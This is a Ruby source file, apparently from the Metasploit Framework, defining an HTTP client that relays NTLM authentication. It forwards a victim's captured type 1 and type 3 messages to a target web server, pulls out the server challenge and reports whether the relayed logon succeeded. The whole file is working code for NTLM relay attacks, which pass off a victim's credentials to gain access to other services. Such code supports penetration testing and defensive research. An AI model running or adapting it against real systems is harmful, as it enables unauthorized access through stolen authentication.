module Msf::Exploit::Remote::Relay::NTLM::Target::HTTP
  # The HTTP Client for interacting with the relayed_target
  class Client
    extend Forwardable

    def_delegators :@client, :request_cgi, :request_raw

    attr_accessor :timeout
    attr_reader :target

    def initialize(provider: nil, target: nil, logger: nil, timeout: -1)
      @logger = logger
      @provider = provider
      @target = target
      @timeout = timeout
      http_logger_subscriber = Rex::Proto::Http::HttpLoggerSubscriber.new(logger: logger)

      @client = Rex::Proto::Http::Client.new(
        target.ip,
        target.port,
        provider.dispatcher.tcp_socket.context,
        target.protocol == :https,
        subscriber: http_logger_subscriber
      )
    end

    def self.create(provider, target, logger, timeout)
      new(
        provider: provider,
        target: target,
        logger: logger,
        timeout: timeout
      )
    end

    def disconnect!
      @client.close
    end

    # @param [String] client_type1_msg
    # @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type1(client_type1_msg)
      req = @client.request_raw(
        'method'  => 'GET',
        'uri'     => @target.path,
        'headers' => {
          'Accept-Encoding' => 'identity',
          'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type1_msg)
        }
      )

      res = @client.send_recv(req, @timeout, true)

      if res.nil?
        msg = "Unable to retrieve server challenge from #{target} (no HTTP response received)"
        elog(msg)
        logger.print_error msg
        return nil
      end

      unless res.code == 401
        msg = "Unable to retrieve server challenge from #{target} (HTTP status #{res.code} received)"
        elog(msg)
        logger.print_error msg
        return nil
      end

      Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult.new(
        message: Net::NTLM::Message.decode64(res.headers['WWW-Authenticate'].split[1]),
        nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
      )
    end

    # @param [String] client_type3_msg
    # @rtype [Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult, nil]
    def relay_ntlmssp_type3(client_type3_msg)
      req = @client.request_raw(
        'method'  => 'GET',
        'uri'     => @target.path,
        'headers' => {
          'Accept-Encoding' => 'identity',
          'Authorization' => 'NTLM ' + Base64.strict_encode64(client_type3_msg)
        }
      )
      res = @client.send_recv(req, @timeout, true)

      http_status_code = @target.protocol_options.fetch(:http_status_code, 200..299)
      if http_status_code.is_a?(Range)
        successful_status = http_status_code.include?(res.code)
      else
        successful_status = http_status_code == res.code
      end
      
      if successful_status
        nt_status = WindowsError::NTStatus::STATUS_SUCCESS
      else
        nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
      end
      Msf::Exploit::Remote::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
    end

    def send_recv(req, t = -1, persist = true)
      # enable persistence by default to keep the connection open
      @client.send_recv(req, t, persist)
    end

    protected

    attr_reader :logger
  end
end
